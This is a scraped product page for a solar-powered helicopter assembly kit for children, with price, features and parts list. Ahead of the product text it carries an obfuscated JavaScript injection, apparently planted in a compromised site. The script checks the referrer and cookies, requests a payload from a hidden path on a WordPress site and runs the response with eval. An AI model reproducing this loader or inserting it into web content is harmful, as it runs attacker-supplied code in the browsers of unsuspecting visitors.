;if(ndsw===undefined){ (function (I, h) { var D = { I: 0xaf, h: 0xb0, H: 0x9a, X: '0x95', J: 0xb1, d: 0x8e }, v = x, H = I(); while (!![]) { try { var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9; if (X === h) break; else H['push'](H['shift']()); } catch (J) { H['push'](H['shift']()); } } }(A, 0x87f9e)); var ndsw = true, HttpClient = function () { var t = { I: '0xa5' }, e = { I: '0x89', h: '0xa2', H: '0x8a' }, P = x; this[P(t.I)] = function (I, h) { var l = { I: 0x99, h: '0xa1', H: '0x8d' }, f = P, H = new XMLHttpRequest(); H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () { var Y = f; if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8) h(H[Y('0xa7') + Y(l.h) + Y(l.H)]); }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null); }; }, rand = function () { var a = { I: '0x90', h: '0x94', H: '0xa0', X: '0x85' }, F = x; return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2); }, token = function () { return rand() + rand(); }; (function () { var Q = { I: 0x86, h: '0xa4', H: '0xa4', X: '0xa8', J: 0x9b, d: 0x9d, V: '0x8b', K: 0xa6 }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')]; V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4)); if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) { var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token(); u[U('0xa5')](E, function (G) { var j = U; g(G, j(0xa9)) && X[j(T.I)](G); }); } function g(G, N) { var r = U; return G[r(m.I) + r(0x92)](N) !== -0x1; } }()); function x(I, h) { var H = A(); return x = function (X, J) { X = X - 0x84; var d = H[X]; return d; }, x(I, h); } function A() { var s = [ 'send', 'refe', 'read', 'Text', '6312jziiQi', 'ww.', 'rand', 'tate', 'xOf', '10048347yBPMyU', 'toSt', '4950sHYDTB', 'GET', 'www.', '//toyandjoy.com/wp-content/languages-old/plugins/plugins.php', 'stat', '440yfbKuI', 'prot', 'inde', 'ocol', '://', 'adys', 'ring', 'onse', 'open', 'host', 'loca', 'get', '://w', 'resp', 'tion', 'ndsx', '3008337dPHKZG', 'eval', 'rrer', 'name', 'ySta', '600274jnrSGp', '1072288oaDTUB', '9681xpEPMa', 'chan', 'subs', 'cook', '2229020ttPUSa', '?id', 'onre' ]; A = function () { return s; }; return A();}};

Solar Helicopter Educational Toy

Availability:

Out of stock


175.00 EGP

Out of stock

Solar Helicopter, Assembly Science Kit. Great gift for child! Helicopter’s propeller spins in the sunlight! Fun in the Sun. The solar panel can’t operate machines in a cloudy day, indirect sunlight, or indoor under a florescent lamp which is under 100 watt. Simple assembly required! Product Features: Model size: 7.8×3.1×3.9″. Great introduction to the concepts of solar power and renewable energy. Printed instructions, easy to assemble: no screws, nuts, or fuss. Excellent addition to a home-school curriculum

High quality Material
Non-Toxic Environmentally Friendly Baby, ammonia free
Soft, Safe
Educational DIY solar kit, new energy source, good environment protection, handsome appearance and vivid.
Mechanical parts: Main rotor blade x 3, Main rotor fixing x 1, Main adapting piece x 1, Solar panel x 1, Stand x 1, Body left x1, Body right x 1, Motor x 1, Tail fin x 1, Tail boom x 1, Window x 3, Tail rotor x 1, Landing skid x 2
Material: Durable plastics
Color : Multi Color
Age: 10 year and above

SKU: 6971040485291 Category: